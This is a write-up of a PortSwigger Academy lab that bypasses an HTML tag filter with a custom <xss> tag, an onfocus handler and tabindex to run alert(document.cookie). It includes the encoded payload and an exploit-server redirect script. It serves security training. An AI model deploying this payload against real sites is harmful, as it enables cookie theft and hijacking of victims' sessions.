Reflected XSS into HTML Context with All Tags Blocked Except Custom Ones

1. Lab Information

Information	Details
Platform	PortSwigger Web Security Academy
Lab Type	Reflected Cross-Site Scripting (XSS)
Difficulty	Practitioner
Vulnerability	Reflected XSS
Injection Context	HTML context
Protection	HTML tag filtering
Main Challenge	All HTML tags are blocked except custom tags
Required Result	Execute `alert(document.cookie)`
User Interaction	Not allowed
Main Technique	Custom HTML tag + event handler + automatic focus

---

2. Tools Used

Burp Suite

Used for:

- Intercepting HTTP requests.
- Testing the `search` parameter.
- Sending requests to Repeater.
- Testing different HTML tags and attributes.
- Analyzing the application's filtering behavior.

Burp Repeater

Used to manually modify the `search` parameter and test different payloads.

Exploit Server

Used to host the final exploit and deliver it to the victim.

Browser

Used to:

- Verify HTML reflection.
- Test the XSS payload.
- Confirm that `alert(document.cookie)` executes.

---

3. Lab Objective

The application blocks all normal HTML tags except custom tags.

The objective is to perform a reflected XSS attack that injects a custom HTML tag and automatically executes:

```
alert(document.cookie)
```

The attack must execute without requiring the victim to manually click or interact with the page.

---

4. Find the Reflection

I started by testing the search parameter:

```
/?search=test
```

The value `test` was reflected in the HTML response.

The basic flow is:

```
User Input
    ↓
search parameter
    ↓
Server Response
```

```
    ↓
HTML Page
```

This indicated a potential reflected XSS vulnerability.

---

5. Test HTML Injection

I tested a normal HTML tag:

```
<h1>TEST</h1>
```

The application blocked the request and returned:

```
Tag is not allowed
```

This confirmed that HTML tags were being filtered.

A traditional XSS payload such as:

```
<script>alert(1)</script>
```

was also not usable.

Therefore, I needed to discover which HTML tags were still accepted.

---

6. Find an Allowed Custom Tag

Instead of using a standard HTML tag, I tested a custom tag:

```
<xss>
```

The tag was accepted.

This gave us:

```
Normal HTML tags
        ↓
```

```
      ❌ Blocked

Custom HTML tags
        ↓
      ✅ Allowed
```

This was the main filter bypass.

---

7. Test Attributes and Events

After finding an allowed custom tag, I started testing attributes.

For example:

```
<xss id=x>
```

The `id` attribute was accepted.

Then I tested an event handler:

```
<xss id=x onfocus=alert(document.cookie)>
```

The `onfocus` event was accepted.

Therefore, JavaScript could potentially be executed through the custom element.

---

8. Make the Element Focusable

The problem was that `onfocus` only executes when the element receives focus.

Therefore, I added:

```
tabindex=1
```

The payload became:

```
<xss id=x onfocus=alert(document.cookie) tabindex=1>
```

The important components are:

```
<xss>
   ↓
Allowed custom HTML tag

onfocus
   ↓
JavaScript execution

tabindex=1
   ↓
Makes the element focusable
```

---

9. URL Encoding

Because the payload was placed inside the `search` parameter, special characters were URL encoded.

The payload:

```
<xss id=x onfocus=alert(document.cookie) tabindex=1>
```

was encoded as:

```
%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E
```

The vulnerable URL therefore contained:

```
/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E
```

---

10. Use the Exploit Server

I used the Exploit Server to deliver the payload to the victim.

The exploit used JavaScript to redirect the victim to the vulnerable URL:

```
<script>
location="https://TARGET.web-security-academy.net/?search=PAYLOAD#x"
</script>
```

The `PAYLOAD` was replaced with the URL-encoded XSS payload.

---

11. Final Payload

The injected HTML was:

```
<xss id=x onfocus=alert(document.cookie) tabindex=1>
```

And the encoded version used in the URL was:

```
%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E
```

The exploit server redirected the victim to the vulnerable application containing this payload.

---

12. Attack Flow

```
Exploit Server
       ↓
Redirect Victim
       ↓
Vulnerable Application
       ↓
search parameter
       ↓
Reflected into HTML
       ↓
Custom <xss> tag
       ↓
onfocus event
       ↓
tabindex makes element focusable
       ↓
JavaScript executes
       ↓
alert(document.cookie)
```

```
        ↓
LAB SOLVED ✅
```

---

13. Why Common Payloads Fail

`<script>`

```
<script>alert(document.cookie)</script>
```

❌ Blocked because the `script` tag is not allowed.

`<img>`

```
<img src=x onerror=alert(document.cookie)>
```

❌ The normal HTML tag is blocked.

`onclick`

```
<xss onclick=alert(document.cookie)>
```

Even if the event is accepted:

```
onclick
   ↓
Requires user interaction
   ↓
Victim must click
```

This does not satisfy the lab requirement.

`onfocus`

```
<xss onfocus=alert(document.cookie)>
```

This is more interesting because focus can be used as the trigger.

Adding:

```
tabindex=1
```

makes the custom element focusable.

---

14. Why the Payload Works

The application expects normal HTML tags and blocks them.

However, the browser still accepts custom elements such as:

```
<xss>
```

The custom element can contain attributes and event handlers.

The payload therefore uses:

```
<xss
    id=x
    onfocus=alert(document.cookie)
    tabindex=1>
```

The browser parses the custom element as HTML.

When the element receives focus, the `onfocus` handler executes:

```
alert(document.cookie)
```

---

15. Impact

A successful reflected XSS vulnerability allows attacker-controlled JavaScript to execute in the context of the vulnerable application.

Potential impact can include:

- Accessing sensitive DOM content.
- Performing actions using the victim's privileges.
- Reading non-HttpOnly cookies.
- Manipulating the page.
- Displaying phishing forms.
- Performing unauthorized actions as the victim.

The actual impact depends on the application's functionality, authentication model, cookie protections, CSP, and the privileges of the victim.

---

16. Key Lessons

1. Don't depend on common XSS payloads

If:

```
<script>
<img>
<body>
```

are blocked, that does not necessarily mean XSS is impossible.

---

2. Understand the filter

Instead of randomly trying payloads, determine:

```
What is blocked?
What is allowed?
How does the browser parse the allowed input?
```

---

3. Custom HTML Tags Can Be Useful

When normal tags are blocked:

```
Normal Tags → ❌
Custom Tags → ✅
```

A custom element may still provide a way to reach JavaScript execution.

---

4. Event Handler + Trigger

Finding an allowed event is only one part of the problem.

We need:

```
Allowed Event
      +
Trigger
      ↓
JavaScript Execution
```

In this lab:

```
onfocus
   +
focusable custom element
   ↓
alert(document.cookie)
```

---

5. Exploit Server

The Exploit Server is useful for delivering the final payload to the victim.

The complete attack becomes:

```
Exploit Server
      ↓
Victim
      ↓
Vulnerable URL
      ↓
Reflected XSS
      ↓
Custom Element
      ↓
Event Handler
```

```
      ↓
JavaScript
```

---

17. General XSS Methodology

For similar XSS labs, I can follow this methodology:

```
1. Find Reflection
        ↓
2. Identify Injection Context
        ↓
3. Test HTML Injection
        ↓
4. Identify Filtering
        ↓
5. Enumerate Allowed Tags
        ↓
6. Find Custom Tag
        ↓
7. Enumerate Attributes
        ↓
8. Find Allowed Event
        ↓
9. Find Automatic Trigger
        ↓
10. Build Final Payload
        ↓
11. Deliver Through Exploit Server
        ↓
12. Verify JavaScript Execution
```

---

18. Final Takeaway

The most important lesson from this lab is:

```
WAF / Filter
     ↓
Don't immediately search for a random bypass
     ↓
Understand what is allowed
```

```
     ↓
Find an allowed HTML element
     ↓
Find an executable event
     ↓
Find a way to trigger it
     ↓
Execute JavaScript
```

The lab was successfully solved using a **custom HTML tag**, the `onfocus` **event**, and `tabindex`, resulting in:

```
alert(document.cookie)
```

Status

✅ **LAB SOLVED**